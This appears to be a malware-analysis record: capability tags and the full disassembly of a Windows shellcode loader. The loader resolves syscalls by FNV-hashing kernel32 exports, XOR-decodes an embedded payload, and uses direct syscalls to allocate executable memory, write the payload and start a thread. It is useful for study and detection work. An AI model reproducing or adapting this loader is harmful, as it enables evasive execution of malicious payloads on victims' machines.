Function at 0x140001170
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Encode data using xor
Execute syscall
Get kernel32 base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x358
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x2d0], 0xfffffffffffffffe
mov dword [rbp - 0x50], 0
xor eax, eax
jmp 0x1400011b9
inc eax
cmp eax, 0x3e8
je 0x14000121e
mov ecx, dword [rbp - 0x50]
test al, 1
jne 0x1400011d0
xor ecx, eax
jmp 0x1400011d2
add ecx, eax
mov dword [rbp - 0x50], ecx
xor ecx, ecx
jmp 0x1400011ea
inc ecx
cmp ecx, 0x3e8
je 0x1400011b0
mov edx, dword [rbp - 0x50]
xor edx, ecx
and edx, 0xdeadbeef
mov dword [rbp + 0x1b0], edx
imul edx, dword [rbp + 0x1b0], 0xc4ec4ec5
add edx, 0x9d89d89
cmp edx, 0x13b13b12
ja 0x1400011e0
mov edx, dword [rbp + 0x1b0]
xor dword [rbp - 0x50], edx
jmp 0x1400011e0
mov eax, dword [rbp - 0x50]
test al, al
je 0x14000124c
xor esi, esi
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
xor dword [rbp - 0x50], esi
mov ecx, 0xa
call rdi
inc ebx
mov eax, dword [rbp - 0x50]
movzx eax, al
add esi, 0xcafebabe
cmp ebx, eax
jb 0x140001230
mov dword [rsp + 0x20], 1
lea rdx, str.debug.log
lea rsi, [rbp + 0x1b0]
mov rcx, rsi
mov r8d, 0xa
mov r9d, 0x40
call fcn.140001bc0
lea rdx, str.Program_started
mov rcx, rsi
call fcn.140001700
mov rcx, rax
call fcn.140001af0
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
movsxd rcx, dword [rax + 0x3c]
mov ecx, dword [rax + rcx + 0x88]
mov edx, dword [rax + rcx + 0x18]
lea r8, [rax + 2]
mov r10d, dword [0x140046004]
lea r9, [0x140046004]
jmp 0x1400012db
xor r10d, r10d
test edx, edx
je 0x14000136c
dec edx
test r10d, r10d
je 0x1400012d0
mov esi, dword [rax + rcx + 0x20]
add rsi, rax
mov r11d, edx
mov edi, dword [rsi + r11*4]
add rdi, r8
mov ebx, r10d
mov rsi, r9
nop dword [rax]
mov r12d, 0x811c9dc5
mov r14, rdi
nop dword [rax]
mov r15d, r12d
movsx r13d, byte [r14]
inc r14
xor r12d, r13d
imul r12d, r12d, 0x1000193
test r13d, r13d
jne 0x140001310
cmp r15d, ebx
je 0x140001340
mov ebx, dword [rsi + 4]
add rsi, 4
test ebx, ebx
jne 0x140001300
jmp 0x1400012d3
mov r10d, dword [rax + rcx + 0x1c]
mov edi, dword [rax + rcx + 0x24]
add r10, rax
add rdi, rax
movzx r11d, word [rdi + r11*2]
mov r10d, dword [r10 + r11*4]
mov r10d, dword [rax + r10 + 4]
mov dword [rsi], r10d
mov r10d, dword [0x140046004]
jmp 0x1400012d3
lea rdx, [0x14002e69e]
lea rcx, [rbp + 0x1b0]
call fcn.140001700
mov rcx, rax
call fcn.140001af0
mov qword [rbp + 0x2c8], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rsi, rax
lea rdx, str.Process_handle_obtained
lea rcx, [rbp + 0x1b0]
call fcn.140001700
mov rcx, rax
call fcn.140001af0
lea rdx, [0x14002e4a0]
lea rcx, [rbp - 0x50]
mov r8d, 0x1fe
call fcn.14002c1d0
mov qword [rbp + 0x2b8], 0x1fe
lea rdx, str.egg_size:
lea rcx, [rbp + 0x1b0]
call fcn.140001700
mov edx, 0x1fe
mov rcx, rax
call fcn.140001f20
lea rdx, str._bytes
mov rcx, rax
call fcn.140001700
mov rcx, rax
call fcn.140001af0
lea rdx, [0x14002e418]
lea rcx, [rbp + 0x1b0]
call fcn.140001700
mov rcx, rax
call fcn.140001af0
mov eax, 1
xor ecx, ecx
lea rdx, str.veryASDJK123FN123FN_41PABasd123QX1235HXC57FASD___
xor r8d, r8d
nop word [rax + rax]
cmp r8, 0x33
cmove r8, rcx
movzx r9d, byte [r8 + rdx]
xor byte [rbp + rax - 0x51], r9b
inc r8
cmp r8, 0x33
cmove r8, rcx
movzx r9d, byte [r8 + rdx]
xor byte [rbp + rax - 0x50], r9b
inc r8
add rax, 2
cmp rax, 0x1ff
jne 0x140001440
mov eax, dword [0x140046004]
lea rdx, [rbp + 0x2c8]
lea r9, [rbp + 0x2b8]
mov r10, rsi
xor r8d, r8d
sub rsp, 0x40
mov qword [rsp + 0x28], 0x3000
mov qword [rsp + 0x30], 0x40
syscall
add rsp, 0x40
lea rcx, str.__20s_:__p_n
lea rdx, str.egg_addr
lea r8, [rbp - 0x50]
call fcn.140002220
mov r8, qword [rbp + 0x2c8]
lea rcx, str.__20s_:__p_n
lea rdx, str.exec_mem_addr
call fcn.140002220
lea rdx, str.Memory_allocated_at:
lea rcx, [rbp + 0x1b0]
call fcn.140001700
mov rdx, qword [rbp + 0x2c8]
mov rcx, rax
call fcn.140002280
mov rcx, rax
call fcn.140001af0
lea rcx, str._nHit_me_1st__n
call fcn.140002220
call fcn.14000fac0
mov eax, dword [0x140046008]
mov rdx, qword [rbp + 0x2c8]
lea r8, [rbp - 0x50]
mov r9d, 0x1fe
mov r10, rsi
sub rsp, 0x30
mov qword [rsp + 0x28], 0
syscall
add rsp, 0x30
mov edi, eax
lea rdx, str.Write_Virutal_Memory_Sucessful
lea rcx, [rbp + 0x1b0]
call fcn.140001700
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov edx, 0xfffff1ff
and edx, dword [rax + rcx + 0x18]
or edx, 0x800
mov dword [rax + rcx + 0x18], edx
mov rcx, rax
mov edx, edi
call fcn.140002580
mov rcx, rax
call fcn.140001af0
lea rcx, str._nHit_me_2nd__n
call fcn.140002220
call fcn.14000fac0
mov eax, dword [0x14004600c]
mov rcx, qword [rbp + 0x2c8]
lea r10, [rbp + 0x2c0]
mov edx, 0x20000000
xor r8d, r8d
mov r9, rsi
sub rsp, 0x60
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
syscall
add rsp, 0x60
mov rcx, qword [rbp + 0x2c0]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rsi, [rbp + 0x258]
mov rax, qword [rbp + 0x1b0]
movsxd rax, dword [rax + 4]
lea rcx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rax + 0x1b0], rcx
mov rax, qword [rbp + 0x1b0]
movsxd rax, dword [rax + 4]
lea ecx, [rax - 0xa8]
mov dword [rbp + rax + 0x1ac], ecx
lea rcx, [rbp + 0x1b8]
call fcn.140002950
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x258], rax
mov rcx, rsi
call fcn.140009d8c
xor eax, eax
add rsp, 0x358
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret